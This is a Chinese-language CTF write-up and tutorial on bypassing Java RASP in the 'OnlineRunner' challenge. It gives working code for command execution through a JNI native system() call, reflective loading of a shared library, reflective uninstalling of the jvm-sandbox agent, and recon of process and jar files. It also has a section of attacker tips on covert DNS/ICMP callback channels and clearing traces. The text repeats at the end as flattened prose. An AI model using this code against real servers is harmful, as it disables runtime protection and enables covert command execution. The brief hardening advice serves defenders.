强网拟态OnlineRunner JAVA绕过RASP分析
字数 1110 2025-08-23 18:31:09

Java RASP绕过技术分析与实践指南

1. RASP技术概述

RASP (Runtime Application Self-Protection) 是一种运行时应用程序自我保护技术,与传统WAF相比具有以下特点:

  • 实现层级:嵌入在程序内部,实现更为底层
  • 监控能力:实时监控危险函数调用并阻止
  • 精准度:攻击行为识别更为精准
  • 部署方式:通常使用Java Agent技术实现

Java RASP典型启动方式:

java -javaagent:agent.jar -jar web.jar

2. RASP绕过方法论

2.1 主要绕过思路

  1. 黑名单绕过:寻找未被限制的类或函数
  2. 底层技术绕过:从C代码层面进行绕过(如JNI)

2.2 JNI绕过技术详解

JNI (Java Native Interface) 允许Java调用本地代码(如C/C++),绕过RASP监控。

JNI绕过实现步骤:

  1. 编写Java类:定义native方法

    public class NativeExec {
        public native void exec(String cmd);
    }
    
  2. 生成头文件

    javac NativeExec.java
    javah NativeExec
    
  3. 实现C代码

    #include <jni.h>
    #include <stdlib.h>
    
    JNIEXPORT void JNICALL Java_NativeExec_exec(JNIEnv *env, jobject obj, jstring cmd) {
        const char *command = (*env)->GetStringUTFChars(env, cmd, 0);
        system(command);
        (*env)->ReleaseStringUTFChars(env, cmd, command);
    }
    
  4. 编译为动态库

    gcc -shared -fPIC -o libexec.so NativeExec.c -I${JAVA_HOME}/include -I${JAVA_HOME}/include/linux
    
  5. Java调用

    public class Main {
        static {
            System.loadLibrary("exec");
        }
    
        public static void main(String[] args) {
            new NativeExec().exec("whoami");
        }
    }
    

2.3 直接反射加载SO文件

try {
    Class<?> runtimeClass = java.lang.Runtime.class;
    Method load0 = runtimeClass.getDeclaredMethod("load0", Class.class, String.class);
    load0.setAccessible(true);
    Runtime runtimeInstance = Runtime.getRuntime();
    load0.invoke(runtimeInstance, Main.class, "/path/to/library.so");
} catch (Exception e) {
    e.printStackTrace();
}

3. RASP卸载技术

3.1 分析AgentLauncher源码

关键功能点:

  • premainagentmain方法支持两种启动方式
  • loadOrDefineClassLoader管理自定义类加载器
  • install方法与代理核心服务器绑定
  • uninstall方法清理资源

3.2 卸载RASP模块实现

try {
    // 动态加载AgentLauncher类
    Class<?> agentLauncherClass = Class.forName("com.alibaba.jvm.sandbox.agent.AgentLauncher");
    
    // 获取并调用uninstall方法
    Method uninstallMethod = agentLauncherClass.getDeclaredMethod("uninstall", String.class);
    uninstallMethod.invoke(null, "default"); // "default"为命名空间
    
    System.out.println("Sandbox卸载成功!");
} catch (Exception e) {
    e.printStackTrace();
}

4. 实战案例:强网拟态OnlineRunner绕过

4.1 环境探测技术

  1. 文件读取获取配置信息

    try {
        FileReader fr = new FileReader("/proc/1/cmdline");
        BufferedReader br = new BufferedReader(fr);
        String line;
        while ((line = br.readLine()) != null) {
            System.out.println(line);
        }
        br.close();
    } catch (IOException e) {
        e.printStackTrace();
    }
    
  2. 目录列举

    File folder = new File("/");
    File[] listOfFiles = folder.listFiles();
    for (File file : listOfFiles) {
        if (file.isFile()) {
            System.out.println("File: " + file.getName());
        } else if (file.isDirectory()) {
            System.out.println("Directory: " + file.getName());
        }
    }
    
  3. JAR包内容查看

    try {
        ZipInputStream zis = new ZipInputStream(new FileInputStream("/app/app.jar"));
        ZipEntry entry;
        while ((entry = zis.getNextEntry()) != null) {
            System.out.println(entry.getName());
            zis.closeEntry();
        }
        zis.close();
    } catch (IOException e) {
        e.printStackTrace();
    }
    

4.2 Agent.jar文件下载与解码

import base64

data = ["UEsDBAoAAAAAAAsdRlkAAAAAAAA..."] # 截断的Base64数据

with open("agent.jar", "ab+") as f:
    for i in data:
        f.write(base64.b64decode(i))

5. 防御与对抗建议

5.1 针对RASP开发者的加固建议

  1. 监控JNI调用:增加对System.loadLibrary等方法的监控
  2. 防止卸载:对关键类和方法进行保护,防止反射调用
  3. 完整性校验:检查自身是否被卸载或篡改
  4. 多层级防护:结合RASP与WAF形成纵深防御

5.2 针对攻击者的注意事项

  1. 环境适配:确保编译环境与目标JDK版本一致
  2. 隐蔽性:尽量使用不触发监控的API
  3. 回连方式:使用DNS或ICMP等隐蔽通道
  4. 清理痕迹:执行后清除临时文件和内存痕迹

6. 总结

本文详细分析了Java RASP的工作原理和绕过技术,重点介绍了JNI绕过和RASP卸载两种方法,并提供了实战案例。理解这些技术有助于安全研究人员更好地评估应用安全性,同时也帮助开发者构建更强大的运行时保护机制。

关键点回顾

  • JNI绕过是有效的RASP绕过手段
  • 反射调用可以绕过部分Java安全限制
  • 理解RASP实现原理是成功绕过的前提
  • 环境信息收集是渗透测试的重要环节
Java RASP绕过技术分析与实践指南 1. RASP技术概述 RASP (Runtime Application Self-Protection) 是一种运行时应用程序自我保护技术,与传统WAF相比具有以下特点: 实现层级 :嵌入在程序内部,实现更为底层 监控能力 :实时监控危险函数调用并阻止 精准度 :攻击行为识别更为精准 部署方式 :通常使用Java Agent技术实现 Java RASP典型启动方式: 2. RASP绕过方法论 2.1 主要绕过思路 黑名单绕过 :寻找未被限制的类或函数 底层技术绕过 :从C代码层面进行绕过(如JNI) 2.2 JNI绕过技术详解 JNI (Java Native Interface) 允许Java调用本地代码(如C/C++),绕过RASP监控。 JNI绕过实现步骤: 编写Java类 :定义native方法 生成头文件 : 实现C代码 : 编译为动态库 : Java调用 : 2.3 直接反射加载SO文件 3. RASP卸载技术 3.1 分析AgentLauncher源码 关键功能点: premain 和 agentmain 方法支持两种启动方式 loadOrDefineClassLoader 管理自定义类加载器 install 方法与代理核心服务器绑定 uninstall 方法清理资源 3.2 卸载RASP模块实现 4. 实战案例:强网拟态OnlineRunner绕过 4.1 环境探测技术 文件读取获取配置信息 : 目录列举 : JAR包内容查看 : 4.2 Agent.jar文件下载与解码 5. 防御与对抗建议 5.1 针对RASP开发者的加固建议 监控JNI调用 :增加对 System.loadLibrary 等方法的监控 防止卸载 :对关键类和方法进行保护,防止反射调用 完整性校验 :检查自身是否被卸载或篡改 多层级防护 :结合RASP与WAF形成纵深防御 5.2 针对攻击者的注意事项 环境适配 :确保编译环境与目标JDK版本一致 隐蔽性 :尽量使用不触发监控的API 回连方式 :使用DNS或ICMP等隐蔽通道 清理痕迹 :执行后清除临时文件和内存痕迹 6. 总结 本文详细分析了Java RASP的工作原理和绕过技术,重点介绍了JNI绕过和RASP卸载两种方法,并提供了实战案例。理解这些技术有助于安全研究人员更好地评估应用安全性,同时也帮助开发者构建更强大的运行时保护机制。 关键点回顾 : JNI绕过是有效的RASP绕过手段 反射调用可以绕过部分Java安全限制 理解RASP实现原理是成功绕过的前提 环境信息收集是渗透测试的重要环节